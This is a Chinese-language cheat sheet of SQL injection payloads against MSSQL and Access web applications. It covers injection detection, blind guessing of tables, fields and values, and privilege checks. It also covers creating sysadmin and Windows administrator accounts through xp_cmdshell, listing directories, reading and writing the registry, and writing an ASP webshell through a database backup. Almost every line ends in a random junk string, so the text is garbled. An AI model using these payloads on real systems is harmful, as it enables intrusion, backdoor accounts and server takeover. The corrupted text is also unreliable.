1.判断是否有注入;and 1=1 ;and 1=2 OEr:xK2T
2.初步判断是否是mssql ;and user>0 =R*Gk4<Y
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3.注入参数是字符'and [查询条件] and ''=' NkxCs
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' &K^MNd
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5.判断数据库系统 0JRD
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;and (select count(*) from sysobjects)>0 mssql 5H,G-
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;and (select count(*) from msysobjects)>0 access >zY \Llv
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 :&'{mJW*{t
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 0BkV/v1Uc
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 &ntBU]<q
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9.(1)猜字段的ascii值(access) j_?cpm{~ml
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 dTEJ=d40
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(2)猜字段的ascii值(mssql) sc`"P-J+vp
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 *.y' (tj[
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10.测试权限结构(mssql) ApPy]IdwX
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 71B3a
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 4YbC(f
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- dhRJg"vrQ
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- a
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2xmk,&s
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 5!fSW2N
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;and 1=(select IS_MEMBER('db_owner'));-- x;$|#]+
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11.添加mssql和系统的帐户 [h}K$q
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;exec master.dbo.sp_addlogin username;-- %u]6KrG18b
;exec master.dbo.sp_password null,username,password;-- #t71U a
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- {KaN,td9
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;exec master.dbo.xp_cmdshell 'net user username password 993d/z|DX
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 'ND36jHcRD
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- m% bE-#
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- `6 Y33bQ
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12.(1)遍历目录 lC9S\s
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;create table dirs(paths varchar(100), id int) !y vJpdsof
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 'tWAu I
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;and (select top 1 paths from dirs)>0 9G:TW|)L[Q
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) *m_93J
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(2)遍历目录 >a]t<
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- r=csi
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 CM 9P"-
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 7Jx%JgF
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 .)ST[G]WK
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 F!CAitxd
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13.mssql中的存储过程 ,+-? Zv 2
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xp_regenumvalues 注册表根键, 子键 #\b ;2>
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 [-VGArD[k,
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xp_regread 根键,子键,键值名 P0#`anUr1
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;exec xp_regread IxP^i{/1?
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 I q,v
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xp_regwrite 根键,子键, 值名, 值类型, 值 F"BL#g66
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 G^KC&
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 6F ;Or
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xp_regdeletevalue 根键,子键,值名 N *1
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0#=W#Jl>
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8*)4"rS
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14.mssql的backup创建webshell i puo}
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use model U3VT*nj'
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create table cmd(str image); E!dp~RwZu
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insert into cmd(str) values (''); [0(mFMC`
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backup database model to disk='c:\l.asp'; =AzOnXW:S
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15.mssql内置函数 C M^r|4K
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;and (select @@version)>0 获得Windows的版本号 ER2V*,n@
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa I}ndRDz[
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;and (select user_name())>0 爆当前系统的连接用户 0lf"w@/
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;and (select db_name())>0 得到当前连接的数据库 +Z$a1Y@
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16.简洁的webshell `r9^:TMN
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use model 43F^J%G
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create table cmd(str image); _0*=u$~R
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insert into cmd(str) values ('');
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backup database model to disk='g:\wwwtest\l.asp';